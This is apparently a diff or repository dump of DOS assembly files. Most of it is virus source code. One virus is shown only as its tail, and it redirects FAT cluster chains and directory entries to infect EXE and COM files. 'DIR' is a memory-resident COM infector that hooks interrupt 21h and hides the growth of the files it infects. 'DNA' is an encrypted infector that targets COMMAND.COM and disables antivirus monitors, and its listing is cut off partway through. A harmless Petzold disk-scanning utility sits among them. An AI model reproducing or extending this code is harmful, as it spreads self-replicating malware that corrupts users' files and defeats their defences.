mov dx,offset file ; "c:ÿ",0
call jump
pop dx ; DS:DX -> filename
mov ax,4b00h ; Load and Execute
call jump ; ES:BX = param block
mov ah,4dh ; Get errorlevel
call jump
mov ah,4ch ; Terminate
jump: pushf ; Simulate an interrupt 21h
call dword ptr cs:[i21org]
ret
;--------Installation complete
i13pr: mov ah,3 ; Write AL sectors from ES:BX
jmp dword ptr cs:[i13org] ; to track CH, sector CL,
; head DH, drive DL
main: push ax ; driver
push cx ; strategy block
push dx
push ds
push si
push di
push es ; Move segment of parameter
pop ds ; block to DS
mov al,[bx+2] ; [bx+2] holds command code
cmp al,4 ; Input (read)
je input
cmp al,8 ; Output (write)
je output
cmp al,9 ; Output (write) with verify
je output
call in_ ; Call original device
cmp al,2 ; Request build BPB
jne ppp ; If none of the above, exit
lds si,[bx+12h] ; DS:SI point to BPB table
mov di,offset bpb_buf ; Replace old pointer with
mov es:[bx+12h],di ; a pointer to our own
mov es:[bx+14h],cs ; BPB table
push es ; Save segment of parameters
push cs
pop es
mov cx,16 ; Copy the old BPB table to
rep movsw ; our own
pop es ; Restore parameter segment
push cs
pop ds
mov al,[di+2-32] ; AL = sectors per allocation
cmp al,2 ; unit. If less than
adc al,0 ; 2, increment
cbw ; Extend sign to AH (clear AH)
cmp word ptr [di+8-32],0 ; Is total number sectors = 0?
je m32 ; If so, big partition (>32MB)
sub [di+8-32],ax ; Decrease space of disk by
; one allocation unit(cluster)
jmp short ppp ; Exit
m32: sub [di+15h-32],ax ; Handle large partitions
sbb word ptr [di+17h-32],0
ppp: pop di
pop si
pop ds
pop dx
pop cx
pop ax
rts: retf ; We are outta here!
output: mov cx,0ff09h
call check ; is it a new disk?
jz inf_sec ; If not, go away
call in_ ; Call original device handler
jmp short inf_dsk
inf_sec: jmp _inf_sec
read: jmp _read
read_: add sp,16 ; Restore the stack
jmp short ppp ; Leave device driver
input: call check ; Is it a new disk?
jz read ; If not, leave
inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ
cld
lea si,[bx+0eh] ; Load from buffer address
mov cx,8 ; Save device driver request
save: lodsw ; on the stack
push ax
loop save
mov word ptr [bx+14h],1 ; Starting sector number = 1
; (Read 1st FAT)
call driver ; Read one sector
jnz read_ ; If error, exit
mov byte ptr [bx+2],2 ; Otherwise build BPB
call in_ ; Have original driver do the
; work
lds si,[bx+12h] ; DS:SI points to BPB table
mov ax,[si+6] ; Number root directory entries
add ax,15 ; Round up
mov cl,4
shr ax,cl ; Divide by 16 to find sectors
; of root directory
mov di,[si+0bh] ; DI = sectors/FAT
add di,di ; Double for 2 FATs
stc ; Add one for boot record
adc di,ax ; Add sector size of root dir
push di ; to find starting sector of
; data (and read)
cwd ; Clear DX
mov ax,[si+8] ; AX = total sectors
test ax,ax ; If it is zero, then we have
jnz more ; an extended partition(>32MB)
mov ax,[si+15h] ; Load DX:AX with total number
mov dx,[si+17h] ; of sectors
more: xor cx,cx
sub ax,di ; Calculate FAT entry for last
; sector of disk
sbb dx,cx
mov cl,[si+2] ; CL = sectors/cluster
div cx ; AX = cluster #
cmp cl,2 ; If there is more than 1
sbb ax,-1 ; cluster/sector, add one
push ax ; Save cluster number
call convert ; AX = sector number to read
; DX = offset in sector AX
; of FAT entry
; DI = mask for EOF marker
mov byte ptr es:[bx+2],4 ; INPUT (read)
mov es:[bx+14h],ax ; Starting sector = AX
call driver ; One sector only
again: lds si,es:[bx+0eh] ; DS:SI = buffer address
add si,dx ; Go to FAT entry
sub dh,cl ; Calculate a new encryption
adc dx,ax ; value
mov word ptr cs:gad+1,dx ; Change the encryption value
cmp cl,1 ; If there is 0 cluster/sector
je small_ ; then jump to "small_"
mov ax,[si] ; Load AX with offset of FAT
; entry
and ax,di ; Mask it with value from
; "convert" then test to see
; if the sector is fine
cmp ax,0fff7h ; 16 bit reserved/bad
je bad
cmp ax,0ff7h ; 12 bit reserved/bad
je bad
cmp ax,0ff70h ; 12 bit reserved/bad
jne ok
bad: pop ax ; Tried to replicate on a bad
dec ax ; cluster. Try again on a
push ax ; lower one.
call convert ; Find where it is in the FAT
jmp short again ; and try once more
small_: not di ; Reverse mask bits
and [si],di ; Clear other bits
pop ax ; AX = cluster number
push ax
inc ax ; Need to do 2 consecutive
push ax ; bytes
mov dx,0fh
test di,dx
jz here
inc dx ; Multiply by 16
mul dx
here: or [si],ax ; Set cluster to next
pop ax ; Restore cluster of write
call convert ; Calculate buffer offset
mov si,es:[bx+0eh] ; Go to FAT entry (in buffer)
add si,dx
mov ax,[si]
and ax,di
ok: mov dx,di ; DI = mask from "convert"
dec dx
and dx,di ; Yerg!
not di
and [si],di
or [si],dx ; Set [si] to DI
cmp ax,dx ; Did we change the FAT?
pop ax ; i.e. Are we already on this
pop di ; disk?
mov word ptr cs:pointer+1,ax ; Our own starting cluster
je _read_ ; If we didn't infect, then
; leave the routine. Oh
; welp-o.
mov dx,[si]
push ds
push si
call write ; Update the FAT
pop si
pop ds
jnz _read_ ; Quit if there's an error
call driver
cmp [si],dx
jne _read_
dec ax
dec ax
mul cx ; Multiply by sectors/cluster
; to find the sector of the
; write
add ax,di
adc dx,0
push es
pop ds
mov word ptr [bx+12h],2 ; Byte/sector count
mov [bx+14h],ax ; Starting sector #
test dx,dx
jz less
mov word ptr [bx+14h],-1 ; Flag extended partition
mov [bx+1ah],ax ; Handle the sector of the
mov [bx+1ch],dx ; extended partition
less: mov [bx+10h],cs ; Transfer address segment
mov [bx+0eh],100h ; and the offset (duh)
call write ; Zopy ourselves!
; (We want to travel)
_read_: std
lea di,[bx+1ch] ; Restore device driver header
mov cx,8 ; from the stack
load: pop ax
stosw
loop load
_read: call in_ ; Call original device handler
mov cx,9
_inf_sec:
mov di,es:[bx+12h] ; Bytes/Sector
lds si,es:[bx+0eh] ; DS:SI = pointer to buffer
sal di,cl ; Multiply by 512
; DI = byte count
xor cl,cl
add di,si ; Go to address in the buffer
xor dl,dl ; Flag for an infection in
; function find
push ds
push si
call find ; Infect the directory
jcxz no_inf
call write ; Write it back to the disk
and es:[bx+4],byte ptr 07fh ; Clear error bit in status
; word
no_inf: pop si
pop ds
inc dx ; Flag for a decryption in
; function find
call find ; Return right information to
; calling program
jmp ppp
;--------Subroutines
find: mov ax,[si+8] ; Check filename extension
cmp ax,"XE" ; in directory structure
jne com
cmp [si+10],al
je found
com: cmp ax,"OC"
jne go_on
cmp byte ptr [si+10],"M"
jne go_on
found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word
jnz go_on ; to see if it is too big
test [si+1dh],03ff8h ; <2048B ; Check file size low word
jz go_on ; to see if it is too small
test [si+0bh],byte ptr 1ch ; Check attribute for subdir,
jnz go_on ; volume label or system file
test dl,dl ; If none of these, check DX
jnz rest ; If not 0, decrypt
pointer: mov ax,1234h ; mov ax, XX modified elsewhere
cmp ax,[si+1ah] ; Check for same starting
; cluster number as us
je go_on ; If it is, then try another
xchg ax,[si+1ah] ; Otherwise make it point to
; us.
gad: xor ax,1234h ; Encrypt their starting
; cluster
mov [si+14h],ax ; And put it in area reserved
; by DOS for no purpose
loop go_on ; Try another file
rest: xor ax,ax ; Disinfect the file
xchg ax,[si+14h] ; Get starting cluster
xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster
mov [si+1ah],ax ; and put it back
go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1
dw offset gad+1 ; Change encryption and
add si,32 ; go to next file
cmp di,si ; If it is not past the end of
jne find ; the buffer, then try again
ret ; Otherwise quit
check: mov ah,[bx+1] ; ah = unit code (block device
; only)
drive: cmp ah,-1 ; cmp ah, XX can change.
; Compare with the last call
; -1 is just a dummy
; impossible value that will
; force the change to be true
mov byte ptr cs:[drive+2],ah ; Save this call's drive
jne changed ; If not the same as last call
; media has changed
push [bx+0eh] ; If it is the same physical
; drive, see if floppy has
; been changed
mov byte ptr [bx+2],1 ; Tell original driver to do a
call in_ ; media check (block only)
cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if
pop [bx+0eh] ; media has not been changed
mov [bx+2],al ; Restore command code
changed: ret ; CF,ZF set if media has not
; been changed, not set if
; has been changed or we don't
; know
write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to
jae in_ ; original device handler
; and return to caller
mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT
mov si,70h
mov ds,si ; DS = our segment
modify: mov si,1234h ; Address is changed elsewhere
push [si]
push [si+2]
mov [si],offset i13pr
mov [si+2],cs
call in_ ; Call original device handler
pop [si+2]
pop [si]
ret
driver: mov word ptr es:[bx+12h],1 ; One sector
in_: ; in_ first calls the strategy
; of the original device
; driver and then calls the
; interrupt handler
db 09ah ; CALL FAR PTR
str_block:
dw ?,70h ; address
db 09ah ; CALL FAR PTR
int_block:
dw ?,70h ; address
test es:[bx+4],byte ptr 80h ; Was there an error?
ret
convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT
jae fat_16 ; 0FF0h = reserved cluster
mov si,3 ; 12 bit FAT
xor word ptr cs:[si+gad-1],si ; Change the encryption value
mul si ; Multiply by 3 and
shr ax,1 ; divide by 2
mov di,0fffh ; Mark it EOF (low 12 bits)
jnc cont ; if it is even, continue
mov di,0fff0h ; otherwise, mark it EOF (high
jmp short cont ; 12 bits) and then continue
fat_16: mov si,2 ; 16 bit FAT
mul si ; Double cluster #
mov di,0ffffh ; Mark it as end of file
cont: mov si,512
div si ; AX = sector number
; (relative to start of FAT)
; DX = offset in sector AX
header: inc ax ; Increment AX to account for
ret ; boot record
counter: dw 0
dw 842h ; Attribute
; Block device
; DOS 3 OPEN/CLOSE removable
; media calls supported
; Generic IOCTL call supported
; Supports 32 bit sectors
dw offset main ; Strategy routine
dw offset rts ; Interrupt routine (rtf)
db 7fh ; Number of subunits supported
; by this driver. Wow, lookit
; it -- it's so large and juicy
; Parameter block format:
; 0 WORD Segment of environment
; 2 DWORD pointer to command line
; 6 DWORD pointer to 1st default FCB
;10 DWORD pointer to 2nd default FCB
param: dw 0,80h,?,5ch,?,6ch,?
bpb_buf: db 32 dup(?)
f_name: db 80 dup(?)
;--------The End.
dir_2 ends
end start
+285
View File
@@ -0,0 +1,285 @@
; DIR
;
; by Terminator Z
; this virus will infect com files when you do a directory .. it will infect
; every com file as it comes up on the directory listing.
;
; this virus will not infect files if they have a seconds field of 58 seconds,
; and will hide the file size increase on these files while the virus is
; memory resident.
v_start:
call si_set
si_set: pop si
sub si, offset si_set
mov bp, ds
mov ax, 0fedch
int 21h
jc exit_code
mov ax, ds
dec ax
tsr1: mov ds, ax
cmp byte ptr [0], 'Z'
je tsr2
add ax, word ptr [3]
jmp tsr1
tsr2: cmp word ptr [3], p_len+1
jb exit_code
sub word ptr [3], p_len
add ax, word ptr [3]
inc ax
sub ax, 10h
mov di, 100h
mov es, ax
mov cx, 512
add si, offset v_start
mov ds, bp
rep movsw
xor si, si
push ax
mov ax, offset fix_ints
push ax
retf
fix_ints: push cs
pop ds
mov ax, 3521h
int 21h
mov word ptr [old_21], bx
mov word ptr [old_21+2], es
mov dx, offset new_21
mov ax, 2521h
int 21h
exit_code: add si, offset orig_3
mov es, bp
mov di, 100h
push bp
push di
movsw
movsb
mov ds, bp
xor ax, ax
mov bx, ax
mov dx, ax
mov si, ax
mov di, ax
mov bp, ax
retf
new_21: clc
cmp ah, 11h
je chk
cmp ah, 12h
je chk
cmp ah, 1ah
je dta_set
cmp ax, 0fedch
jne i_exit
stc ; set carry
iret
i_exit: jmp dword ptr cs:[old_21]
function_call: pushf
call dword ptr cs:[old_21]
ret
dta_set: call function_call
jnc ds2
ds1: retf 2
ds2: mov word ptr cs:[dta_save], dx
mov word ptr cs:[dta_save+2], ds
jmp short ds1
chk: call function_call
cmp al, 0
je c2
iret
c2: push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
push cs
pop es
lds si, dword ptr cs:[dta_save]
lodsb
dec si
cmp al, 0ffh
jne c3
add si, 7 ; fix all this shit up
c3: push si
add si, 17h
lodsw
and ax, 29 ; 56 seconds
jz c4
add si, 4
sub word ptr [si], v_len
sbb word ptr [si-2], 0
pop si
jmp short c_exit
c4: pop si
mov bp, si
add si, 9 ; up to extension
lodsw
and ax, 0dfdf ; ->UC
cmp ax, 'OC'
jne c_exit
lodsb
and al, 0df
cmp al, 'M'
je c_inf
c_exit: pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
iret
c_inf: mov si, bp
inc si
mov di, filename_save
mov cx, 8
cmov1: lodsb
cmp al, ' '
je cmov2
stosb
cmov2: loop cmov1
mov al, '.'
stosb
movsw
movsb
xor ax, ax
stosb ; make an ASCIIZ string
com_infection: push cs
pop ds
mov ax, 3524h
call function_call
push bx
push es
push cs
pop es
mov dx, offset new_24
mov ax, 2524h
call function_call
mov ax, 4300h
mov dx, filename_save
call function_call
jnc k1
jmp exit_1
k1: push cx
mov ax, 4301h
xor cx, cx
call function_call
jc exit_2
mov ax, 3d02h
call function_call
mov bp, ax
xchg ax, bx
mov ax, 5700h
call function_call
push cx
push dx
mov dx, offset orig_3
mov ah, 3fh
mov cx, 3
call function_call
mov ax, 4202h
xor cx, cx
xor dx, dx
call function_call
or dx, dx
jnz exit_3
push ax
add ax, 102h+v_len
pop ax
jc exit_3
cmp ax, 3
jb exit_3
dec ax
dec ax
dec ax
mov di, offset com_stub+1
stosw
mov ah, 40h
mov cx, v_len
mov dx, 100h
call function_call
cmp ax, v_len
jb exit_4 ; check number of bytes written
xor cx, cx
xor dx, dx
mov ax, 4200h
call function_call
mov ah, 40h
mov cx, 3
mov dx, offset com_stub
call function_call
pop dx
pop cx
or cx, 29
push dx
push cx
exit_4: mov ax, 5701h
pop dx
pop cx
call function_call
exit_3: mov ah, 3eh
call function_call
exit_2: pop cx
mov ax, 4301h
mov dx, filename_save
call function_call
exit_1: pop ds
pop dx
mov ax, 2524h
call function_call
jmp c_exit
new_24: iret
orig_3: int 20h
nop
com_stub db 0e9h
dw 0
db ' DIR by Drunk Avenger [PuKE] x92! '
v_end:
old_21 equ $
dta_save equ old_21 + 4
infected equ dta_save + 4
filename_save equ infected + 1
p_len equ 40h ; 1k
v_len equ v_end - v_start
@@ -0,0 +1,304 @@
; DISKSCAN.ASM -- Checks out disk by reading sectors
; --------------------------------------------------
CSEG Segment
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
Org 100h
Entry: Jmp Begin
; All Data
; --------
db ' Copyright 1986 Ziff-Davis Publishing Co.'
db ' Programmed by Charles Petzold '
DriveError db 'Invalid Drive$'
DosVersErr db 'Needs DOS 2.0+$'
MemoryError db 'Needs 64K$'
ReadSegment dw ?
DriveNum db ?
DiskBlock db 18 dup (?)
TotalSectors dw ?
SectorsIn64K dw ?
StartSector dw 0
SectorLabel2 db 9,'Sector $'
SectorLabel db 13,'Sectors $'
DashLabel db ' - $'
ErrorLabel db ': Error!'
CRLF db 13,10,'$'
ErrorAddr dw Err0,Err1,Err2,Err3,Err4,Err5,Err6,Err7
dw Err8,Err9,ErrA,ErrB,ErrC,ErrD,ErrD,ErrD
Err0 db 'Write Protect$'
Err1 db 'Unknown Unit$'
Err2 db 'Drive Not Ready$'
Err3 db 'Unknown Command$'
Err4 db 'CRC Error$'
Err5 db 'Request Length$'
Err6 db 'Seek Error$'
Err7 db 'Unknown Media$'
Err8 db 'Sector Not Found$'
Err9 db 'No Paper$'
ErrA db 'Write Fault$'
ErrB db 'Read Fault$'
ErrC db 'General Failure$'
ErrD db 'Undocumented Error$'
BootSectMsg db 'Boot Sector$'
RootDirMsg db 'Root Directory$'
BadFatMsg db 'File Alloc. Table$'
InUseMsg db 'Used by file$'
NotInUseMsg db 'Unallocated$'
BadFlagMsg db 'Flagged as bad$'
FatReadMsg db "Can't Read FAT$"
Divisors dw 10000, 1000, 100, 10, 1 ; For decimal conversion
; Check Drive Parameter, DOS Version, and Enough Memory
; -----------------------------------------------------
ErrorExit: Mov AH,9 ; Write error message
Int 21h ; through DOS
Int 20h ; And terminate
Begin: Mov DX, Offset DriveError ; Possible message
Or AL, AL ; Check Drive Validity Byte
Jnz ErrorExit ; If not zero, invalid drive
Mov DX, Offset DosVersErr ; Possible message
Mov AH, 30h
Int 21h ; Get DOS Version Number
Cmp AL, 2 ; Check for 2.0 or later
Jb ErrorExit ; If not, terminate with message
Mov DX, Offset MemoryError ; Possible error message
Mov BX, 256+Offset EndProg ; Set beyond program
Mov SP, BX ; Move stack closer to code
Add BX, 15 ; Add 15 to round up
Mov CL, 4 ; Divide BX by 16
Shr BX, CL
Mov AH, 4Ah ; Free allocated memory
Int 21h ; by calling DOS Set Block
Jc ErrorExit ; Terminate on error
Mov BX, 1000h ; Ask for 64K bytes
Mov AH, 48h ; by using DOS
Int 21h ; Allocate Memory call
Jc ErrorExit ; Terminate on error
Mov [ReadSegment], AX ; Save segment of memory block
; Get Disk Information From DOS
; -----------------------------
Mov DL, DS:[005Ch] ; Get Drive Parameter
Push DS ; Save DS
Mov AH, 32h ; Call DOS to
Int 21h ; get DOS Disk Block (DS:BX)
Mov SI, BX ; Now DS:SI points to Disk Block
Mov DI, Offset DiskBlock ; DI points to destination
Mov CX, 18 ; 18 bytes to copy'
Cld ; Forward direction
Rep Movsb ; Move 'em in
Pop DS ; Get back DS
Mov BX, Offset DiskBlock ; BX to address Disk Block
Mov DX, 1 ; Set DX:AX to 65,536
Sub AX, AX
Div Word Ptr [BX + 2] ; Divide by Bytes Per Sector
Mov [SectorsIn64K], AX ; Save that values
Mov AX, [BX + 13] ; Last Cluster Number
Dec AX ; AX = Number of Clusters
Mov CL, [BX + 5] ; Cluster to Sector Shift
Shl AX, CL ; AX = Number Data Sectors
Add AX, [BX + 11] ; Add First Data Sector
Mov [TotalSectors], AX ; AX = Number Total Sectors
Mov AL, DS:[005Ch] ; Drive Number (0=def, 1=A)
Dec AL ; Make it 0=A, 1=B
Jns GotDriveNumber ; If no sign, not default drive
Mov AH, 19h ; Get current disk
Int 21h ; by calling DOS
GotDriveNumber: Mov [DriveNum], AL ; Save Drive Number (0=A, 1=B)
; Start Reading
; -------------
MainLoop: Mov DX, Offset SectorLabel ; String to display on screen
Call StringWrite ; Display it
Mov AX, [StartSector] ; Starting sector number
Call WordWrite ; Display number on screen
Mov DX, Offset DashLabel ; String containing a dash
Call StringWrite ; Display it on the screen
Mov CX, [SectorsIn64K] ; Number of sectors to read
Add AX, CX ; Add it to starting sector
Jc NumRecalc
Cmp AX, [TotalSectors] ; See if bigger than total
Jbe NumSectorsOK ; If so, proceed
NumRecalc: Mov AX, [TotalSectors] ; Otherwise get total sectors
Mov CX, AX ; Move it to CX also
Sub CX, [StartSector] ; Now CX = sectors to read
NumSectorsOK: Dec AX ; AX = last sector to read
Call WordWrite ; Display it on screen
Call ReadSectors ; Read the sectors
Jnc NextSectors ; If no error, skip detail
Call ReadSectors ; Repeat read
Jnc NextSectors ; If still no error, skip
DiskError: Mov DX, Offset ErrorLabel ; String saying "Error!"
Call StringWrite ; Display it on screen
ErrorLoop: Push CX ; Now save previous number
Mov CX, 1 ; So we can read one at a time
Call ReadSectors ; Read one sector
Jnc NoError ; If no error, proceed
Mov BL, AL ; Save error code
Mov DX, Offset SectorLabel2 ; String with "Sector "
Call StringWrite ; Display it on screen
Mov AX, [StartSector] ; The sector we just read
Call WordWrite ; Display it on screen
Mov DX, Offset DashLabel ; String with a dash
Call StringWrite ; Display it on screen
And BL, 0Fh ; Blank out error top bits
Sub BH, BH ; Now BX is error code
Add BX, BX ; Double it for word access
Mov DX, [ErrorAddr + BX] ; Get address of message
Call StringWrite ; Display message on screen
Call FindSector ; See where sector is
Mov DX, Offset CRLF ; String for new line
Call StringWrite ; Do carriage ret & line feed
NoError: Inc [StartSector] ; Kick up the start sector
Pop CX ; Get back counter
Loop ErrorLoop ; And read next sector
Mov AX, [StartSector] ; Sector of next group
Jmp Short CheckFinish ; Check if at end yet
NextSectors: Mov AX, [StartSector] ; For no error, increment
Add AX, [SectorsIn64K] ; StartSector for next group
Jc Terminate ; (If overflow, terminate)
Mov [StartSector], AX ; And save it
CheckFinish: Cmp AX, [TotalSectors] ; See if at then end
Jae Terminate ; If so, just terminate
Jmp MainLoop ; If not, do it again
Terminate: Int 20h ; Terminate
; Find Sector in FAT to see if used by file, etc.
; -----------------------------------------------
FindSector: Mov DX, Offset DashLabel ; Print dash
Call StringWrite
Mov AX, [StartSector] ; Sector with error
Mov DX, Offset BootSectMsg ; Set up message
Cmp AX, Word Ptr [DiskBlock + 6] ; See if sector boot
Jb PrintMsg ; If so, print as such
Mov DX, Offset BadFatMsg ; Set up message
Cmp AX, Word Ptr [DiskBlock + 16] ; See if sector in FAT
Jb PrintMsg ; If so, print as such
Mov DX, Offset RootDirMsg ; Set up message
Cmp AX, Word Ptr [DiskBlock + 11] ; See if sector in dir
Jb PrintMsg ; If so, print as such
Push [StartSector] ; Save the sector
Mov AX, Word Ptr [DiskBlock + 6] ; Reserved sectors
Mov [StartSector], AX ; Start of first FAT
Mov CL, [DiskBlock + 15] ; Sectors for FAT
Sub CH, CH ; Zero out top byte
Call ReadSectors ; Read in FAT
Pop [StartSector] ; Get back bad sector
Mov DX, Offset FatReadMsg ; Set up possible msg
Jc PrintMsg ; If read error, print
Mov AX, [StartSector] ; Get bad sector
Sub AX, Word Ptr [DiskBlock + 11] ; Subtract data start
Mov CL, [DiskBlock + 5] ; Sector Shift
Shr AX, CL ; Shift the sector
Add AX, 2 ; AX is now cluster
Push ES ; Save ES for awhile
Mov ES, [ReadSegment] ; ES segment of FAT
Cmp Word Ptr [DiskBlock + 13], 0FF0h; 12 or 16-bit FAT?
Jge Fat16Bit ; And jump accordingly
Mov BX, AX ; This is cluster number
Mov SI, AX ; So is this
Shr BX, 1 ; This is one-half cluster
Mov AX, ES:[BX + SI] ; BX + SI = 1.5 CX
Jnc NoShift ; If no CY from shift, got it
Mov CL, 4 ; If CY from shift must
Shr AX, CL ; shift word 4 bits right
NoShift: Or AX, 0F000h ; Now put 1's in top bits
Cmp AX, 0F000h ; See if zero otherwise
Jmp Short CheckWord ; And continue checking
Fat16Bit: Mov BX, AX ; This is cluster number
Shl BX, 1 ; Double it
Mov AX, ES:[BX] ; Pull out word from sector
Or AX, AX ; See if zero (unallocated)
CheckWord: Pop ES ; Get back ES
Mov DX, Offset NotInUseMsg ; Set up possible message
Jz PrintMsg ; If so, print message
Mov DX, Offset BadFlagMsg ; Set up possible message
Cmp AX, 0FFF7h ; See if cluster flagged bad
Jz PrintMsg ; If so, print message
Mov DX, Offset InUseMsg ; If not, cluster is in use
PrintMsg: Call StringWrite ; Print cluster disposition
Ret ; And return
; Read Sectors (CX = Number of Sectors, Return CY and AL for error)
; -----------------------------------------------------------------
ReadSectors: Push BX ; Push all needed registers
Push CX
Push DX
Push DS
Mov AL, [DriveNum] ; Get the drive number code
Sub BX, BX ; Buffer address offset
Mov DX, [StartSector] ; Starting Sector
Mov DS, [ReadSegment] ; Buffer address segment
Int 25h ; Absolute Disk Read
Pop BX ; Fix up stack
Pop DS ; Get back registers
Pop DX
Pop CX
Pop BX
Ret ; Return to program
; Screen Display Routines
; -----------------------
WordWrite: Push AX ; Push some registers
Push BX ; AX contains word to display
Push CX
Push DX
Push SI
Mov SI, Offset Divisors ; SI points to divisors
Mov CX, 4 ; CL counter; CH zero blanker
WordWriteLoop: Mov BX, [SI] ; Get divisor
Add SI, 2 ; Increment SI for next one
Sub DX, DX ; Prepare for division
Div BX ; Divide DX:AX by BX
Push DX ; Save remainder
Or CH, AL ; See if zero
Jz LeadZero ; If so, do not display it
Add AL, '0' ; Convert number to ASCII
Mov DL, AL ; Print out character
Mov AH, 2 ; by calling DOS
Int 21h
LeadZero: Pop AX ; Get back remainder
Dec CL ; Decrement counter
Jg WordWriteLoop ; If CL still > 0, do it again
Mov CH, 1 ; No more zero blanking
Jz WordWriteLoop ; Convert last digit to ASCII
Pop SI ; Get back pushed registers
Pop DX
Pop CX
Pop BX
Pop AX
Ret
StringWrite: Push AX ; Displays string from DX
Mov AH, 9 ; to screen by calling DOS
Int 21h
Pop AX
Ret
EndProg Label Byte ; End of program
CSEG EndS
End Entry

+537
View File
@@ -0,0 +1,537 @@
;=============================================================================
; Please feel free to distribute, but do NOT change and say it's your's!
;=============================================================================
; Introducing to you the source code of DNA. DNA is a partially resident
; parasitic COM file infector including COMMAND.COM. The virus infects files
; in a random way along the path. The infection routine is resident
; during the run of the virus. The reason for this is that it is only then
; possible to encrypt the infection routine whitin the virus. The routine
; will be resident in the data area of the system so it will use no memory.
; DNA does not contain a payload. Furthermore there are some routines to
; delete CRC checkers and to disable some resident viruscheckers in memory.
;
; Greetings ,ThE wEiRd GeNiUs
;-----------------------------------------------------------------------------
; Assemble with TASM 2.0 or higher, Link with TLINK /T
;-----------------------------------------------------------------------------
CODE SEGMENT
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
CRYPTLEN EQU BUFFER-CSTART ;Length to en/decrypt.
VIRLEN EQU BUFFER-VSTART ;Length of virus.
MINLEN EQU 1000 ;Min file length to infect.
MAXLEN EQU 0F230h ;Max " " " "
CR EQU 0Dh ;Return.
LF EQU 0Ah ;Line feed.
TAB EQU 09h ;Tab.
TSR2LEN EQU BUFFER-INFECT ;Length of infection Interrupt.
LENGTH EQU NOTENC-CSTART ;Length of encrypted code.
ORG 0100h
.RADIX 16
;-----------------------------------------------------------------------------
; Infected dummy program. (Only in 1st run)
;-----------------------------------------------------------------------------
START: JMP VSTART ;Jump to virus code.
;-----------------------------------------------------------------------------
; Begin of the virus code.
;-----------------------------------------------------------------------------
VSTART: CALL CHKDOS ;Confuse anti-viral progs.
CALL CHKTIME ;It's hard to believe but this code
JMP BEGIN ;stops tracing TBAV into the code!
;-----------------------------------------------------------------------------
CHKDOS: MOV AH,30h ;Get DOS version.
INT 21h ;Call DOS.
RET ;Return to caller.
;-----------------------------------------------------------------------------
CHKTIME:MOV AH,2Ch ;Get system time.
INT 21h ;Call DOS.
CMP DL,0 ;If zero,
JE CHKTIME ;try again.
RET ;Return to caller.
;-----------------------------------------------------------------------------
VAL_1 DB 00h ;Encryption Value.
;-----------------------------------------------------------------------------
ENCRYP: CALL NEXTL ;-Get BP on address.
NEXTL: POP BP ;/
SUB BP,04 ;[BX]=decryption key.
MOV DL,[BP] ;DL=[BX]
LEA BX,[BP+OFFSET CSTART-VAL_1];De/en-crypt from here.
CMP DL,0 ;Code Encrypted?
JE NTENC ;Nope
DECRYPT:MOV DH,DL ;
MOV CX,CRYPTLEN ;Set counter.
X_LOOP: XOR [BX],DL ;Xor the code on address BX.
SUB DL,DH ;-To change form of scrambled code.
SUB DH,02Eh ;/
INC BX ;Increase address.
LOOP X_LOOP ;Repeat until done.
NTENC: RET ;Return to caller.
;-----------------------------------------------------------------------------
BEGIN: CALL ENCRYP ;Call decryption routine.
;-----------------------------------------------------------------------------
; From here the code will be encrypted.
;-----------------------------------------------------------------------------
CSTART: CALL BEGIN1 ;Same old trick.
CALL RESBEG ;Restore begin.
CALL CHKDRV ;Check drive & DOS version.
CALL SAVEDIR ;Save startup directory.
CALL INSTSR2 ;Place infection routine in memory.
PUSH ES ;In the next sessions ES is modified.
CALL INT24 ;NoErrorAllowed.
CALL VSAFE ;Vsafe resident?
POP ES ;Restore extra segment.
CALL ENKEY ;Create new CRYPTKEY.
CALL DTA ;Store old and give up new DTA addres.
CMP BYTE PTR[BP+OFFSET COMSIGN],01h;Am I command.com?
JE F_FIRST ;Yes, do not use the path.
CALL FIND1 ;Determine how many path's are present.
CALL RANDOM ;Random value for directory search.
CALL FIND2 ;Find suitable directory.
CALL CHDRIVE ;If it is on another drive.
CALL GODIR ;Go to the selected directory.
F_FIRST:MOV AH,4Eh ;Search for 1st *.COM
MOV CX,110b ;Look for read only, system & hidden.
LEA DX,[BP+OFFSET SPEC] ;Offset file specification.(*.COM)
INT 21h ;Call DOS.
JNC OPENF ;Exit if no file found.
CALL EXIT1 ;No files found, quit.
OPENF: CALL CHKCOM ;-Is it COMMAND.COM?
CMP CX,00h ;/
JNE NOCOM ;Yes, set COMSIGN
MOV BYTE PTR[BP+OFFSET COMSIGN],01h;
JMP YESCOM ;
NOCOM: MOV BYTE PTR[BP+OFFSET COMSIGN],00h;
YESCOM: CALL CHKINF ;Already infected?
CALL ATTRIB ;Ask & clear file attributes.
CALL RENAME ;Rename to *.TXT file.
MOV AH,4Eh ;Search the name.TXT file.
MOV CX,110b ;Read only, system & hidden.
LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT)
INT 21h ;Call DOS.
MOV AX,3D02h ;Open file with read and write access.
LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT)
INT 21h ;Call DOS.
MOV BYTE PTR[BP+OFFSET HANDLE],AL;Save file handle.
CALL STIME ;Save file date & time.
CHECK: MOV AH,3Fh ;Read begin of victim.
MOV CX,3 ;Read Begin.
LEA DX,[BP+OFFSET ORIGNL] ;Into offset original instructions.
INT 21h ;Call DOS.
JC CLOSE ;On error, quit.
REPLACE:CALL BPOINT ;Move file pointer to end of victim.
SUB AX,3 ;Calculate new jump.
MOV WORD PTR[BP+NEWJMP+1],AX;Store new jump value.
MOV AX,4200h ;Move file pointer to begin.
XOR CX,CX ;Zero high nybble.
XOR DX,DX ;Zero low nybble.
INT 21h ;Call DOS.
MOV AH,40h ;Write to file,
MOV CX,3 ;3 Bytes.
LEA DX,[BP+OFFSET NEWJMP] ;Offset new jump value.
INT 21h ;Call DOS.
CALL BPOINT ;Move file pointer to end.
JMP INFEC ;Create encryption key.
LETSGO: MOV AH,4Fh ;Find next.
INT 21h ;Call DOS.
JC EXIT ;On error, quit.
JMP OPENF ;Open new victim.
